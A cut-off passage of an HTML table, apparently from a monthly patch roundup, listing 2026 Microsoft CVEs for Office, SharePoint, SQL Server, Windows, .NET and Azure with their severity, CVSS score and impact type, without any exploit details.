  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55049"><span>CVE-2026-55049</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55129"><span>CVE-2026-55129</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55056"><span>CVE-2026-55056</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55140"><span>CVE-2026-55140</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043"><span>CVE-2026-55043</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55123"><span>CVE-2026-55123</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55120"><span>CVE-2026-55120</span></a></td>
  <td width="256" class="xl74">Microsoft PowerPoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><span>CVE-2026-50522</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><span>CVE-2026-58644</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040"><span>CVE-2026-55040</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Security Feature Bypass Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117"><span>CVE-2026-54117</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118"><span>CVE-2026-54118</span></a></td>
  <td width="256" class="xl74">Microsoft SQL Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50655"><span>CVE-2026-50655</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56189"><span>CVE-2026-56189</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090"><span>CVE-2026-57090</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094"><span>CVE-2026-57094</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087"><span>CVE-2026-57087</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><span>CVE-2026-57092</span></a></td>
  <td width="256" class="xl74">Microsoft Windows
  VMSwitch Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033"><span>CVE-2026-55033</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127"><span>CVE-2026-55127</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55132"><span>CVE-2026-55132</span></a></td>
  <td width="256" class="xl74">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><span>CVE-2026-55010</span></a></td>
  <td width="256" class="xl74">Minecraft Bedrock
  Dedicated Server Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50474"><span>CVE-2026-50474</span></a></td>
  <td width="256" class="xl74">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164"><span>CVE-2026-49164</span></a></td>
  <td width="256" class="xl74">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128"><span>CVE-2026-54128</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><span>CVE-2026-50518</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49796"><span>CVE-2026-49796</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380"><span>CVE-2026-50380</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127"><span>CVE-2026-54127</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680"><span>CVE-2026-50680</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50327"><span>CVE-2026-50327</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58542"><span>CVE-2026-58542</span></a></td>
  <td width="256" class="xl74">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608"><span>CVE-2026-58608</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982"><span>CVE-2026-54982</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54995"><span>CVE-2026-54995</span></a></td>
  <td width="256" class="xl74">Windows Reliable
  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42982"><span>CVE-2026-42982</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50392"><span>CVE-2026-50392</span></a></td>
  <td width="256" class="xl74">Windows Secure Kernel
  Mode Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694"><span>CVE-2026-50694</span></a></td>
  <td width="256" class="xl74">Windows Secure Socket
  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><span>CVE-2026-56188</span></a></td>
  <td width="256" class="xl74">Windows Server Network
  driver Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444"><span>CVE-2026-50444</span></a></td>
  <td width="256" class="xl74">Windows Server Update
  Service (WSUS) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999"><span>CVE-2026-54999</span></a></td>
  <td width="256" class="xl74">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47302"><span>CVE-2026-47302</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50525"><span>CVE-2026-50525</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50651"><span>CVE-2026-50651</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57108"><span>CVE-2026-57108</span></a></td>
  <td width="256" class="xl74">.NET Denial of Service
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50524"><span>CVE-2026-50524</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50527"><span>CVE-2026-50527</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50648"><span>CVE-2026-50648</span></a></td>
  <td width="256" class="xl74">.NET Framework Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50650"><span>CVE-2026-50650</span></a></td>
  <td width="256" class="xl74">.NET Framework
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646"><span>CVE-2026-50646</span></a></td>
  <td width="256" class="xl74">.NET Framework Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649"><span>CVE-2026-50649</span></a></td>
  <td width="256" class="xl74">.NET Remote Code
  Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
